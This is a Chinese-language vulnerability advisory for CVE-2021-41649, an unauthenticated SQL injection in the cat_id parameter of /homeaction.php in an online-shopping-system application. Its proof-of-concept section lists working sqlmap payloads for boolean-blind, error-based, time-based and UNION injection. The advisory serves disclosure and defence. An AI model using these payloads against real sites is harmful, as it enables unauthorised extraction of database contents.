CVE-2021-41649

CVE-2021-41649 online-shopping-system 中的 SQL 注入

该 online-shopping-system 容易受到未经验证的基于错误/布尔的盲注以及基于错误的 SQL 注入攻击。

/homeaction.php 页面上的 cat_id 参数未对用户输入进行过滤，攻击者可以从底层 MySQL 数据库中提取敏感数据。

应用程序链接

online-shopping-system

受影响的组件与参数

URL: /homeaction.php
参数: cat_id

POC

SQLMAP 载荷

/homeaction.php 页面上的 cat_id 参数

参数: cat_id (POST 请求) 类型: 基于布尔的盲注 标题: AND boolean-based blind - WHERE or HAVING clause 载荷: cat_id=4' AND 9760=9760 AND 'ZCfc'='ZCfc&get_seleted_Category=1

类型: 基于错误 标题: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 载荷: cat_id=4' AND (SELECT 4034 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4034=4034,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sGIO'='sGIO&get_seleted_Category=1

类型: 基于时间的盲注 标题: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 载荷: cat_id=4' AND (SELECT 9762 FROM (SELECT(SLEEP(5)))PAcf) AND 'hpHO'='hpHO&get_seleted_Category=1

类型: UNION 查询 标题: Generic UNION query (NULL) - 10 columns 载荷: cat_id=4' UNION ALL SELECT CONCAT(0x71707a7171,0x746e4d4b5a706566596771585179566943487446575673515244507a52507345694d6b5a754d7049,0x71787a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&get_seleted_Category=1

如果 POC 图片不清晰，请点击 GIF，它将以更好的分辨率加载。

发现者

Jason Colyvas
MOBIUSBINARY
2021年9月21日